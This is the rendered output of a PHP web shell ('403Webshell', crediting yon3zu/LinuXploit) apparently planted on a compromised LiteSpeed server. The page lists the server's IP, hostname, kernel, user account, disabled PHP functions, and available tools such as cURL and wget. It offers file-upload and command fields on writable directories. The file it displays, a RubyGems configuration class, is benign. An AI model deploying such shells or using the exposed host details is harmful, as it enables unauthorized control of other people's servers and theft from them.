403Webshell
Server IP : 51.79.230.26  /  Your IP : 216.73.217.43
Web Server : LiteSpeed
System : Linux sg2.exonhost.com 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User : mukutpub ( 1151)
PHP Version : 8.2.33
Disable Function : eval, show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, symlink, mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/opt/alt/ruby40/share/rubygems/rubygems/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/opt/alt/ruby40/share/rubygems/rubygems/target_rbconfig.rb
# frozen_string_literal: true

require "rbconfig"

##
# A TargetConfig is a wrapper around an RbConfig object that provides a
# consistent interface for querying configuration for *deployment target
# platform*, where the gem being installed is intended to run on.
#
# The TargetConfig is typically created from the RbConfig of the running Ruby
# process, but can also be created from an RbConfig file on disk for cross-
# compiling gems.

class Gem::TargetRbConfig
  attr_reader :path

  def initialize(rbconfig, path)
    @rbconfig = rbconfig
    @path = path
  end

  ##
  # Creates a TargetRbConfig for the platform that RubyGems is running on.

  def self.for_running_ruby
    new(::RbConfig, nil)
  end

  ##
  # Creates a TargetRbConfig from the RbConfig file at the given path.
  # Typically used for cross-compiling gems.

  def self.from_path(rbconfig_path)
    namespace = Module.new do |m|
      # Load the rbconfig.rb file within a new anonymous module to avoid
      # conflicts with the rbconfig for the running platform.
      Kernel.load rbconfig_path, m
    end
    rbconfig = namespace.const_get(:RbConfig)

    new(rbconfig, rbconfig_path)
  end

  ##
  # Queries the configuration for the given key.

  def [](key)
    @rbconfig::CONFIG[key]
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit